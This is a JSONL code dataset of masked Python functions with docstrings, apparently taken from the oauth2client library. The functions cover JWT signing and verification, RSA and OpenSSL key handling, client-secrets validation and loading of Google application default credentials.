{"signature": "def locked_delete(self):", "body": "keyring.set_password(self._service_name, self._user_name, '<STR_LIT>')<EOL>", "docstring": "Delete Credentials file.\n\n        Args:\n            credentials: Credentials, the credentials to store.", "id": "f2465:c0:m3"}
{"signature": "def _SendRecv():", "body": "port = int(os.getenv(DEVSHELL_ENV, <NUM_LIT:0>))<EOL>if port == <NUM_LIT:0>:<EOL><INDENT>raise NoDevshellServer()<EOL><DEDENT>sock = socket.socket()<EOL>sock.connect(('<STR_LIT:localhost>', port))<EOL>data = CREDENTIAL_INFO_REQUEST_JSON<EOL>msg = '<STR_LIT>'.format(len(data), data)<EOL>sock.sendall(_helpers._to_bytes(msg, encoding='<STR_LIT:utf-8>'))<EOL>header = sock.recv(<NUM_LIT:6>).decode()<EOL>if '<STR_LIT:\\n>' not in header:<EOL><INDENT>raise CommunicationError('<STR_LIT>')<EOL><DEDENT>len_str, json_str = header.split('<STR_LIT:\\n>', <NUM_LIT:1>)<EOL>to_read = int(len_str) - len(json_str)<EOL>if to_read > <NUM_LIT:0>:<EOL><INDENT>json_str += sock.recv(to_read, socket.MSG_WAITALL).decode()<EOL><DEDENT>return CredentialInfoResponse(json_str)<EOL>", "docstring": "Communicate with the Developer Shell server socket.", "id": "f2466:m0"}
{"signature": "def __init__(self, json_string):", "body": "pbl = json.loads(json_string)<EOL>if not isinstance(pbl, list):<EOL><INDENT>raise ValueError('<STR_LIT>' + str(pbl))<EOL><DEDENT>pbl_len = len(pbl)<EOL>self.user_email = pbl[<NUM_LIT:0>] if pbl_len > <NUM_LIT:0> else None<EOL>self.project_id = pbl[<NUM_LIT:1>] if pbl_len > <NUM_LIT:1> else None<EOL>self.access_token = pbl[<NUM_LIT:2>] if pbl_len > <NUM_LIT:2> else None<EOL>self.expires_in = pbl[<NUM_LIT:3>] if pbl_len > <NUM_LIT:3> else None<EOL>", "docstring": "Initialize the response data from JSON PBLite array.", "id": "f2466:c3:m0"}
{"signature": "def _refresh(self, http):", "body": "self.devshell_response = _SendRecv()<EOL>self.access_token = self.devshell_response.access_token<EOL>expires_in = self.devshell_response.expires_in<EOL>if expires_in is not None:<EOL><INDENT>delta = datetime.timedelta(seconds=expires_in)<EOL>self.token_expiry = client._UTCNOW() + delta<EOL><DEDENT>else:<EOL><INDENT>self.token_expiry = None<EOL><DEDENT>", "docstring": "Refreshes the access token.\n\n        Args:\n            http: unused HTTP object", "id": "f2466:c4:m1"}
{"signature": "def _bit_list_to_bytes(bit_list):", "body": "num_bits = len(bit_list)<EOL>byte_vals = bytearray()<EOL>for start in six.moves.xrange(<NUM_LIT:0>, num_bits, <NUM_LIT:8>):<EOL><INDENT>curr_bits = bit_list[start:start + <NUM_LIT:8>]<EOL>char_val = sum(val * digit<EOL>for val, digit in zip(_POW2, curr_bits))<EOL>byte_vals.append(char_val)<EOL><DEDENT>return bytes(byte_vals)<EOL>", "docstring": "Converts an iterable of 1's and 0's to bytes.\n\n    Combines the list 8 at a time, treating each group of 8 bits\n    as a single byte.", "id": "f2467:m0"}
{"signature": "def verify(self, message, signature):", "body": "message = _helpers._to_bytes(message, encoding='<STR_LIT:utf-8>')<EOL>try:<EOL><INDENT>return rsa.pkcs1.verify(message, signature, self._pubkey)<EOL><DEDENT>except (ValueError, rsa.pkcs1.VerificationError):<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Verifies a message against a signature.\n\n        Args:\n            message: string or bytes, The message to verify. If string, will be\n                     encoded to bytes as utf-8.\n            signature: string or bytes, The signature on the message. If\n                       string, will be encoded to bytes as utf-8.\n\n        Returns:\n            True if message was signed by the private key associated with the\n            public key that this object was constructed with.", "id": "f2467:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_string(cls, key_pem, is_x509_cert):<DEDENT>", "body": "key_pem = _helpers._to_bytes(key_pem)<EOL>if is_x509_cert:<EOL><INDENT>der = rsa.pem.load_pem(key_pem, '<STR_LIT>')<EOL>asn1_cert, remaining = decoder.decode(der, asn1Spec=Certificate())<EOL>if remaining != b'<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>', remaining)<EOL><DEDENT>cert_info = asn1_cert['<STR_LIT>']['<STR_LIT>']<EOL>key_bytes = _bit_list_to_bytes(cert_info['<STR_LIT>'])<EOL>pubkey = rsa.PublicKey.load_pkcs1(key_bytes, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>pubkey = rsa.PublicKey.load_pkcs1(key_pem, '<STR_LIT>')<EOL><DEDENT>return cls(pubkey)<EOL>", "docstring": "Construct an RsaVerifier instance from a string.\n\n        Args:\n            key_pem: string, public key in PEM format.\n            is_x509_cert: bool, True if key_pem is an X509 cert, otherwise it\n                          is expected to be an RSA key in PEM format.\n\n        Returns:\n            RsaVerifier instance.\n\n        Raises:\n            ValueError: if the key_pem can't be parsed. In either case, error\n                        will begin with 'No PEM start marker'. If\n                        ``is_x509_cert`` is True, will fail to find the\n                        \"-----BEGIN CERTIFICATE-----\" error, otherwise fails\n                        to find \"-----BEGIN RSA PUBLIC KEY-----\".", "id": "f2467:c0:m2"}
{"signature": "def sign(self, message):", "body": "message = _helpers._to_bytes(message, encoding='<STR_LIT:utf-8>')<EOL>return rsa.pkcs1.sign(message, self._key, '<STR_LIT>')<EOL>", "docstring": "Signs a message.\n\n        Args:\n            message: bytes, Message to be signed.\n\n        Returns:\n            string, The signature of the message for the given key.", "id": "f2467:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_string(cls, key, password='<STR_LIT>'):<DEDENT>", "body": "key = _helpers._from_bytes(key)  <EOL>marker_id, key_bytes = pem.readPemBlocksFromFile(<EOL>six.StringIO(key), _PKCS1_MARKER, _PKCS8_MARKER)<EOL>if marker_id == <NUM_LIT:0>:<EOL><INDENT>pkey = rsa.key.PrivateKey.load_pkcs1(key_bytes,<EOL>format='<STR_LIT>')<EOL><DEDENT>elif marker_id == <NUM_LIT:1>:<EOL><INDENT>key_info, remaining = decoder.decode(<EOL>key_bytes, asn1Spec=_PKCS8_SPEC)<EOL>if remaining != b'<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>', remaining)<EOL><DEDENT>pkey_info = key_info.getComponentByName('<STR_LIT>')<EOL>pkey = rsa.key.PrivateKey.load_pkcs1(pkey_info.asOctets(),<EOL>format='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return cls(pkey)<EOL>", "docstring": "Construct an RsaSigner instance from a string.\n\n        Args:\n            key: string, private key in PEM format.\n            password: string, password for private key file. Unused for PEM\n                      files.\n\n        Returns:\n            RsaSigner instance.\n\n        Raises:\n            ValueError if the key cannot be parsed as PKCS#1 or PKCS#8 in\n            PEM format.", "id": "f2467:c1:m2"}
{"signature": "def make_signed_jwt(signer, payload, key_id=None):", "body": "header = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}<EOL>if key_id is not None:<EOL><INDENT>header['<STR_LIT>'] = key_id<EOL><DEDENT>segments = [<EOL>_helpers._urlsafe_b64encode(_helpers._json_encode(header)),<EOL>_helpers._urlsafe_b64encode(_helpers._json_encode(payload)),<EOL>]<EOL>signing_input = b'<STR_LIT:.>'.join(segments)<EOL>signature = signer.sign(signing_input)<EOL>segments.append(_helpers._urlsafe_b64encode(signature))<EOL>logger.debug(str(segments))<EOL>return b'<STR_LIT:.>'.join(segments)<EOL>", "docstring": "Make a signed JWT.\n\n    See http://self-issued.info/docs/draft-jones-json-web-token.html.\n\n    Args:\n        signer: crypt.Signer, Cryptographic signer.\n        payload: dict, Dictionary of data to convert to JSON and then sign.\n        key_id: string, (Optional) Key ID header.\n\n    Returns:\n        string, The JWT for the payload.", "id": "f2468:m1"}
{"signature": "def _verify_signature(message, signature, certs):", "body": "for pem in certs:<EOL><INDENT>verifier = Verifier.from_string(pem, is_x509_cert=True)<EOL>if verifier.verify(message, signature):<EOL><INDENT>return<EOL><DEDENT><DEDENT>raise AppIdentityError('<STR_LIT>')<EOL>", "docstring": "Verifies signed content using a list of certificates.\n\n    Args:\n        message: string or bytes, The message to verify.\n        signature: string or bytes, The signature on the message.\n        certs: iterable, certificates in PEM format.\n\n    Raises:\n        AppIdentityError: If none of the certificates can verify the message\n                          against the signature.", "id": "f2468:m2"}
{"signature": "def _check_audience(payload_dict, audience):", "body": "if audience is None:<EOL><INDENT>return<EOL><DEDENT>audience_in_payload = payload_dict.get('<STR_LIT>')<EOL>if audience_in_payload is None:<EOL><INDENT>raise AppIdentityError(<EOL>'<STR_LIT>'.format(payload_dict))<EOL><DEDENT>if audience_in_payload != audience:<EOL><INDENT>raise AppIdentityError('<STR_LIT>'.format(<EOL>audience_in_payload, audience, payload_dict))<EOL><DEDENT>", "docstring": "Checks audience field from a JWT payload.\n\n    Does nothing if the passed in ``audience`` is null.\n\n    Args:\n        payload_dict: dict, A dictionary containing a JWT payload.\n        audience: string or NoneType, an audience to check for in\n                  the JWT payload.\n\n    Raises:\n        AppIdentityError: If there is no ``'aud'`` field in the payload\n                          dictionary but there is an ``audience`` to check.\n        AppIdentityError: If the ``'aud'`` field in the payload dictionary\n                          does not match the ``audience``.", "id": "f2468:m3"}
{"signature": "def _verify_time_range(payload_dict):", "body": "<EOL>now = int(time.time())<EOL>issued_at = payload_dict.get('<STR_LIT>')<EOL>if issued_at is None:<EOL><INDENT>raise AppIdentityError(<EOL>'<STR_LIT>'.format(payload_dict))<EOL><DEDENT>expiration = payload_dict.get('<STR_LIT>')<EOL>if expiration is None:<EOL><INDENT>raise AppIdentityError(<EOL>'<STR_LIT>'.format(payload_dict))<EOL><DEDENT>if expiration >= now + MAX_TOKEN_LIFETIME_SECS:<EOL><INDENT>raise AppIdentityError(<EOL>'<STR_LIT>'.format(payload_dict))<EOL><DEDENT>earliest = issued_at - CLOCK_SKEW_SECS<EOL>if now < earliest:<EOL><INDENT>raise AppIdentityError('<STR_LIT>'.format(<EOL>now, earliest, payload_dict))<EOL><DEDENT>latest = expiration + CLOCK_SKEW_SECS<EOL>if now > latest:<EOL><INDENT>raise AppIdentityError('<STR_LIT>'.format(<EOL>now, latest, payload_dict))<EOL><DEDENT>", "docstring": "Verifies the issued at and expiration from a JWT payload.\n\n    Makes sure the current time (in UTC) falls between the issued at and\n    expiration for the JWT (with some skew allowed for via\n    ``CLOCK_SKEW_SECS``).\n\n    Args:\n        payload_dict: dict, A dictionary containing a JWT payload.\n\n    Raises:\n        AppIdentityError: If there is no ``'iat'`` field in the payload\n                          dictionary.\n        AppIdentityError: If there is no ``'exp'`` field in the payload\n                          dictionary.\n        AppIdentityError: If the JWT expiration is too far in the future (i.e.\n                          if the expiration would imply a token lifetime\n                          longer than what is allowed.)\n        AppIdentityError: If the token appears to have been issued in the\n                          future (up to clock skew).\n        AppIdentityError: If the token appears to have expired in the past\n                          (up to clock skew).", "id": "f2468:m4"}
{"signature": "def verify_signed_jwt_with_certs(jwt, certs, audience=None):", "body": "jwt = _helpers._to_bytes(jwt)<EOL>if jwt.count(b'<STR_LIT:.>') != <NUM_LIT:2>:<EOL><INDENT>raise AppIdentityError(<EOL>'<STR_LIT>'.format(jwt))<EOL><DEDENT>header, payload, signature = jwt.split(b'<STR_LIT:.>')<EOL>message_to_sign = header + b'<STR_LIT:.>' + payload<EOL>signature = _helpers._urlsafe_b64decode(signature)<EOL>payload_bytes = _helpers._urlsafe_b64decode(payload)<EOL>try:<EOL><INDENT>payload_dict = json.loads(_helpers._from_bytes(payload_bytes))<EOL><DEDENT>except:<EOL><INDENT>raise AppIdentityError('<STR_LIT>'.format(payload_bytes))<EOL><DEDENT>_verify_signature(message_to_sign, signature, certs.values())<EOL>_verify_time_range(payload_dict)<EOL>_check_audience(payload_dict, audience)<EOL>return payload_dict<EOL>", "docstring": "Verify a JWT against public certs.\n\n    See http://self-issued.info/docs/draft-jones-json-web-token.html.\n\n    Args:\n        jwt: string, A JWT.\n        certs: dict, Dictionary where values of public keys in PEM format.\n        audience: string, The audience, 'aud', that this JWT should contain. If\n                  None then the JWT's 'aud' parameter is not verified.\n\n    Returns:\n        dict, The deserialized JSON payload in the JWT.\n\n    Raises:\n        AppIdentityError: if any checks are failed.", "id": "f2468:m5"}
{"signature": "def _validate_clientsecrets(clientsecrets_dict):", "body": "_INVALID_FILE_FORMAT_MSG = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>if clientsecrets_dict is None:<EOL><INDENT>raise InvalidClientSecretsError(_INVALID_FILE_FORMAT_MSG)<EOL><DEDENT>try:<EOL><INDENT>(client_type, client_info), = clientsecrets_dict.items()<EOL><DEDENT>except (ValueError, AttributeError):<EOL><INDENT>raise InvalidClientSecretsError(<EOL>_INVALID_FILE_FORMAT_MSG + '<STR_LIT:U+0020>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if client_type not in VALID_CLIENT:<EOL><INDENT>raise InvalidClientSecretsError(<EOL>'<STR_LIT>'.format(client_type))<EOL><DEDENT>for prop_name in VALID_CLIENT[client_type]['<STR_LIT>']:<EOL><INDENT>if prop_name not in client_info:<EOL><INDENT>raise InvalidClientSecretsError(<EOL>'<STR_LIT>'.format(<EOL>prop_name, client_type))<EOL><DEDENT><DEDENT>for prop_name in VALID_CLIENT[client_type]['<STR_LIT:string>']:<EOL><INDENT>if client_info[prop_name].startswith('<STR_LIT>'):<EOL><INDENT>raise InvalidClientSecretsError(<EOL>'<STR_LIT>'.format(prop_name))<EOL><DEDENT><DEDENT>return client_type, client_info<EOL>", "docstring": "Validate parsed client secrets from a file.\n\n    Args:\n        clientsecrets_dict: dict, a dictionary holding the client secrets.\n\n    Returns:\n        tuple, a string of the client type and the information parsed\n        from the file.", "id": "f2469:m0"}
{"signature": "def loadfile(filename, cache=None):", "body": "_SECRET_NAMESPACE = '<STR_LIT>'<EOL>if not cache:<EOL><INDENT>return _loadfile(filename)<EOL><DEDENT>obj = cache.get(filename, namespace=_SECRET_NAMESPACE)<EOL>if obj is None:<EOL><INDENT>client_type, client_info = _loadfile(filename)<EOL>obj = {client_type: client_info}<EOL>cache.set(filename, obj, namespace=_SECRET_NAMESPACE)<EOL><DEDENT>return next(six.iteritems(obj))<EOL>", "docstring": "Loading of client_secrets JSON file, optionally backed by a cache.\n\n    Typical cache storage would be App Engine memcache service,\n    but you can pass in any other cache client that implements\n    these methods:\n\n    * ``get(key, namespace=ns)``\n    * ``set(key, value, namespace=ns)``\n\n    Usage::\n\n        # without caching\n        client_type, client_info = loadfile('secrets.json')\n        # using App Engine memcache service\n        from google.appengine.api import memcache\n        client_type, client_info = loadfile('secrets.json', cache=memcache)\n\n    Args:\n        filename: string, Path to a client_secrets.json file on a filesystem.\n        cache: An optional cache service client that implements get() and set()\n        methods. If not specified, the file is always being loaded from\n                 a filesystem.\n\n    Raises:\n        InvalidClientSecretsError: In case of a validation error or some\n                                   I/O failure. Can happen only on cache miss.\n\n    Returns:\n        (client_type, client_info) tuple, as _loadfile() normally would.\n        JSON contents is validated only during first load. Cache hits are not\n        validated.", "id": "f2469:m4"}
{"signature": "def code_verifier(n_bytes=<NUM_LIT:64>):", "body": "verifier = base64.urlsafe_b64encode(os.urandom(n_bytes)).rstrip(b'<STR_LIT:=>')<EOL>if len(verifier) < <NUM_LIT>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>elif len(verifier) > <NUM_LIT>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>return verifier<EOL><DEDENT>", "docstring": "Generates a 'code_verifier' as described in section 4.1 of RFC 7636.\n\nThis is a 'high-entropy cryptographic random string' that will be\nimpractical for an attacker to guess.\n\nArgs:\n    n_bytes: integer between 31 and 96, inclusive. default: 64\n        number of bytes of entropy to include in verifier.\n\nReturns:\n    Bytestring, representing urlsafe base64-encoded random data.", "id": "f2470:m0"}
{"signature": "def code_challenge(verifier):", "body": "digest = hashlib.sha256(verifier).digest()<EOL>return base64.urlsafe_b64encode(digest).rstrip(b'<STR_LIT:=>')<EOL>", "docstring": "Creates a 'code_challenge' as described in section 4.2 of RFC 7636\nby taking the sha256 hash of the verifier and then urlsafe\nbase64-encoding it.\n\nArgs:\n    verifier: bytestring, representing a code_verifier as generated by\n        code_verifier().\n\nReturns:\n    Bytestring, representing a urlsafe base64-encoded sha256 hash digest,\n        without '=' padding.", "id": "f2470:m1"}
{"signature": "def pkcs12_key_as_pem(private_key_bytes, private_key_password):", "body": "private_key_password = _helpers._to_bytes(private_key_password)<EOL>pkcs12 = crypto.load_pkcs12(private_key_bytes, private_key_password)<EOL>return crypto.dump_privatekey(crypto.FILETYPE_PEM,<EOL>pkcs12.get_privatekey())<EOL>", "docstring": "Convert the contents of a PKCS#12 key to PEM using pyOpenSSL.\n\n    Args:\n        private_key_bytes: Bytes. PKCS#12 key in DER format.\n        private_key_password: String. Password for PKCS#12 key.\n\n    Returns:\n        String. PEM contents of ``private_key_bytes``.", "id": "f2471:m0"}
{"signature": "def __init__(self, pubkey):", "body": "self._pubkey = pubkey<EOL>", "docstring": "Constructor.\n\n        Args:\n            pubkey: OpenSSL.crypto.PKey, The public key to verify with.", "id": "f2471:c0:m0"}
{"signature": "def verify(self, message, signature):", "body": "message = _helpers._to_bytes(message, encoding='<STR_LIT:utf-8>')<EOL>signature = _helpers._to_bytes(signature, encoding='<STR_LIT:utf-8>')<EOL>try:<EOL><INDENT>crypto.verify(self._pubkey, signature, message, '<STR_LIT>')<EOL>return True<EOL><DEDENT>except crypto.Error:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Verifies a message against a signature.\n\n        Args:\n        message: string or bytes, The message to verify. If string, will be\n                 encoded to bytes as utf-8.\n        signature: string or bytes, The signature on the message. If string,\n                   will be encoded to bytes as utf-8.\n\n        Returns:\n            True if message was signed by the private key associated with the\n            public key that this object was constructed with.", "id": "f2471:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def from_string(key_pem, is_x509_cert):<DEDENT>", "body": "key_pem = _helpers._to_bytes(key_pem)<EOL>if is_x509_cert:<EOL><INDENT>pubkey = crypto.load_certificate(crypto.FILETYPE_PEM, key_pem)<EOL><DEDENT>else:<EOL><INDENT>pubkey = crypto.load_privatekey(crypto.FILETYPE_PEM, key_pem)<EOL><DEDENT>return OpenSSLVerifier(pubkey)<EOL>", "docstring": "Construct a Verified instance from a string.\n\n        Args:\n            key_pem: string, public key in PEM format.\n            is_x509_cert: bool, True if key_pem is an X509 cert, otherwise it\n                          is expected to be an RSA key in PEM format.\n\n        Returns:\n            Verifier instance.\n\n        Raises:\n            OpenSSL.crypto.Error: if the key_pem can't be parsed.", "id": "f2471:c0:m2"}
{"signature": "def __init__(self, pkey):", "body": "self._key = pkey<EOL>", "docstring": "Constructor.\n\n        Args:\n            pkey: OpenSSL.crypto.PKey (or equiv), The private key to sign with.", "id": "f2471:c1:m0"}
{"signature": "def sign(self, message):", "body": "message = _helpers._to_bytes(message, encoding='<STR_LIT:utf-8>')<EOL>return crypto.sign(self._key, message, '<STR_LIT>')<EOL>", "docstring": "Signs a message.\n\n        Args:\n            message: bytes, Message to be signed.\n\n        Returns:\n            string, The signature of the message for the given key.", "id": "f2471:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def from_string(key, password=b'<STR_LIT>'):<DEDENT>", "body": "key = _helpers._to_bytes(key)<EOL>parsed_pem_key = _helpers._parse_pem_key(key)<EOL>if parsed_pem_key:<EOL><INDENT>pkey = crypto.load_privatekey(crypto.FILETYPE_PEM, parsed_pem_key)<EOL><DEDENT>else:<EOL><INDENT>password = _helpers._to_bytes(password, encoding='<STR_LIT:utf-8>')<EOL>pkey = crypto.load_pkcs12(key, password).get_privatekey()<EOL><DEDENT>return OpenSSLSigner(pkey)<EOL>", "docstring": "Construct a Signer instance from a string.\n\n        Args:\n            key: string, private key in PKCS12 or PEM format.\n            password: string, password for the private key file.\n\n        Returns:\n            Signer instance.\n\n        Raises:\n            OpenSSL.crypto.Error if the key can't be parsed.", "id": "f2471:c1:m2"}
{"signature": "def _detect_gce_environment():", "body": "<EOL>http = transport.get_http_object(timeout=GCE_METADATA_TIMEOUT)<EOL>try:<EOL><INDENT>response, _ = transport.request(<EOL>http, _GCE_METADATA_URI, headers=_GCE_HEADERS)<EOL>return (<EOL>response.status == http_client.OK and<EOL>response.get(_METADATA_FLAVOR_HEADER) == _DESIRED_METADATA_FLAVOR)<EOL><DEDENT>except socket.error:  <EOL><INDENT>logger.info('<STR_LIT>')<EOL>return False<EOL><DEDENT>", "docstring": "Determine if the current environment is Compute Engine.\n\n    Returns:\n        Boolean indicating whether or not the current environment is Google\n        Compute Engine.", "id": "f2472:m1"}
{"signature": "def _in_gae_environment():", "body": "if SETTINGS.env_name is not None:<EOL><INDENT>return SETTINGS.env_name in ('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>import google.appengine  <EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>server_software = os.environ.get(_SERVER_SOFTWARE, '<STR_LIT>')<EOL>if server_software.startswith('<STR_LIT>'):<EOL><INDENT>SETTINGS.env_name = '<STR_LIT>'<EOL>return True<EOL><DEDENT>elif server_software.startswith('<STR_LIT>'):<EOL><INDENT>SETTINGS.env_name = '<STR_LIT>'<EOL>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Detects if the code is running in the App Engine environment.\n\n    Returns:\n        True if running in the GAE environment, False otherwise.", "id": "f2472:m2"}
{"signature": "def _in_gce_environment():", "body": "if SETTINGS.env_name is not None:<EOL><INDENT>return SETTINGS.env_name == '<STR_LIT>'<EOL><DEDENT>if NO_GCE_CHECK != '<STR_LIT:True>' and _detect_gce_environment():<EOL><INDENT>SETTINGS.env_name = '<STR_LIT>'<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Detect if the code is running in the Compute Engine environment.\n\n    Returns:\n        True if running in the GCE environment, False otherwise.", "id": "f2472:m3"}
{"signature": "def _save_private_file(filename, json_contents):", "body": "temp_filename = tempfile.mktemp()<EOL>file_desc = os.open(temp_filename, os.O_WRONLY | os.O_CREAT, <NUM_LIT>)<EOL>with os.fdopen(file_desc, '<STR_LIT:w>') as file_handle:<EOL><INDENT>json.dump(json_contents, file_handle, sort_keys=True,<EOL>indent=<NUM_LIT:2>, separators=('<STR_LIT:U+002C>', '<STR_LIT>'))<EOL><DEDENT>shutil.move(temp_filename, filename)<EOL>", "docstring": "Saves a file with read-write permissions on for the owner.\n\n    Args:\n        filename: String. Absolute path to file.\n        json_contents: JSON serializable object to be saved.", "id": "f2472:m4"}
{"signature": "def save_to_well_known_file(credentials, well_known_file=None):", "body": "<EOL>if well_known_file is None:<EOL><INDENT>well_known_file = _get_well_known_file()<EOL><DEDENT>config_dir = os.path.dirname(well_known_file)<EOL>if not os.path.isdir(config_dir):<EOL><INDENT>raise OSError(<EOL>'<STR_LIT>'.format(config_dir))<EOL><DEDENT>credentials_data = credentials.serialization_data<EOL>_save_private_file(well_known_file, credentials_data)<EOL>", "docstring": "Save the provided GoogleCredentials to the well known file.\n\n    Args:\n        credentials: the credentials to be saved to the well known file;\n                     it should be an instance of GoogleCredentials\n        well_known_file: the name of the file where the credentials are to be\n                         saved; this parameter is supposed to be used for\n                         testing only", "id": "f2472:m5"}
{"signature": "def _get_well_known_file():", "body": "<EOL>default_config_dir = os.getenv(_CLOUDSDK_CONFIG_ENV_VAR)<EOL>if default_config_dir is None:<EOL><INDENT>if os.name == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>default_config_dir = os.path.join(os.environ['<STR_LIT>'],<EOL>_CLOUDSDK_CONFIG_DIRECTORY)<EOL><DEDENT>except KeyError:<EOL><INDENT>drive = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>default_config_dir = os.path.join(drive, '<STR_LIT:\\\\>',<EOL>_CLOUDSDK_CONFIG_DIRECTORY)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>default_config_dir = os.path.join(os.path.expanduser('<STR_LIT>'),<EOL>'<STR_LIT>',<EOL>_CLOUDSDK_CONFIG_DIRECTORY)<EOL><DEDENT><DEDENT>return os.path.join(default_config_dir, _WELL_KNOWN_CREDENTIALS_FILE)<EOL>", "docstring": "Get the well known file produced by command 'gcloud auth login'.", "id": "f2472:m7"}
{"signature": "def _get_application_default_credential_from_file(filename):", "body": "<EOL>with open(filename) as file_obj:<EOL><INDENT>client_credentials = json.load(file_obj)<EOL><DEDENT>credentials_type = client_credentials.get('<STR_LIT:type>')<EOL>if credentials_type == AUTHORIZED_USER:<EOL><INDENT>required_fields = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>elif credentials_type == SERVICE_ACCOUNT:<EOL><INDENT>required_fields = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>raise ApplicationDefaultCredentialsError(<EOL>\"<STR_LIT>\" +<EOL>AUTHORIZED_USER + \"<STR_LIT>\" + SERVICE_ACCOUNT + \"<STR_LIT>\")<EOL><DEDENT>missing_fields = required_fields.difference(client_credentials.keys())<EOL>if missing_fields:<EOL><INDENT>_raise_exception_for_missing_fields(missing_fields)<EOL><DEDENT>if client_credentials['<STR_LIT:type>'] == AUTHORIZED_USER:<EOL><INDENT>return GoogleCredentials(<EOL>access_token=None,<EOL>client_id=client_credentials['<STR_LIT>'],<EOL>client_secret=client_credentials['<STR_LIT>'],<EOL>refresh_token=client_credentials['<STR_LIT>'],<EOL>token_expiry=None,<EOL>token_uri=oauth2client.GOOGLE_TOKEN_URI,<EOL>user_agent='<STR_LIT>')<EOL><DEDENT>else:  <EOL><INDENT>from oauth2client import service_account<EOL>return service_account._JWTAccessCredentials.from_json_keyfile_dict(<EOL>client_credentials)<EOL><DEDENT>", "docstring": "Build the Application Default Credentials from file.", "id": "f2472:m8"}
{"signature": "def _require_crypto_or_die():", "body": "if not HAS_CRYPTO:<EOL><INDENT>raise CryptoUnavailableError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Ensure we have a crypto library, or throw CryptoUnavailableError.\n\n    The oauth2client.crypt module requires either PyCrypto or PyOpenSSL\n    to be available in order to function, but these are optional\n    dependencies.", "id": "f2472:m13"}
{"signature": "@_helpers.positional(<NUM_LIT:2>)<EOL>def verify_id_token(id_token, audience, http=None,<EOL>cert_uri=ID_TOKEN_VERIFICATION_CERTS):", "body": "_require_crypto_or_die()<EOL>if http is None:<EOL><INDENT>http = transport.get_cached_http()<EOL><DEDENT>resp, content = transport.request(http, cert_uri)<EOL>if resp.status == http_client.OK:<EOL><INDENT>certs = json.loads(_helpers._from_bytes(content))<EOL>return crypt.verify_signed_jwt_with_certs(id_token, certs, audience)<EOL><DEDENT>else:<EOL><INDENT>raise VerifyJwtTokenError('<STR_LIT>'.format(resp.status))<EOL><DEDENT>", "docstring": "Verifies a signed JWT id_token.\n\n    This function requires PyOpenSSL and because of that it does not work on\n    App Engine.\n\n    Args:\n        id_token: string, A Signed JWT.\n        audience: string, The audience 'aud' that the token should be for.\n        http: httplib2.Http, instance to use to make the HTTP request. Callers\n              should supply an instance that has caching enabled.\n        cert_uri: string, URI of the certificates in JSON format to\n                  verify the JWT against.\n\n    Returns:\n        The deserialized JSON in the JWT.\n\n    Raises:\n        oauth2client.crypt.AppIdentityError: if the JWT fails to verify.\n        CryptoUnavailableError: if no crypto library is available.", "id": "f2472:m14"}
{"signature": "def _extract_id_token(id_token):", "body": "if type(id_token) == bytes:<EOL><INDENT>segments = id_token.split(b'<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>segments = id_token.split(u'<STR_LIT:.>')<EOL><DEDENT>if len(segments) != <NUM_LIT:3>:<EOL><INDENT>raise VerifyJwtTokenError(<EOL>'<STR_LIT>'.format(id_token))<EOL><DEDENT>return json.loads(<EOL>_helpers._from_bytes(_helpers._urlsafe_b64decode(segments[<NUM_LIT:1>])))<EOL>", "docstring": "Extract the JSON payload from a JWT.\n\n    Does the extraction w/o checking the signature.\n\n    Args:\n        id_token: string or bytestring, OAuth 2.0 id_token.\n\n    Returns:\n        object, The deserialized JSON payload.", "id": "f2472:m15"}
{"signature": "def _parse_exchange_token_response(content):", "body": "resp = {}<EOL>content = _helpers._from_bytes(content)<EOL>try:<EOL><INDENT>resp = json.loads(content)<EOL><DEDENT>except Exception:<EOL><INDENT>resp = _helpers.parse_unique_urlencoded(content)<EOL><DEDENT>if resp and '<STR_LIT>' in resp:<EOL><INDENT>resp['<STR_LIT>'] = resp.pop('<STR_LIT>')<EOL><DEDENT>return resp<EOL>", "docstring": "Parses response of an exchange token request.\n\n    Most providers return JSON but some (e.g. Facebook) return a\n    url-encoded string.\n\n    Args:\n        content: The body of a response\n\n    Returns:\n        Content as a dictionary object. Note that the dict could be empty,\n        i.e. {}. That basically indicates a failure.", "id": "f2472:m16"}
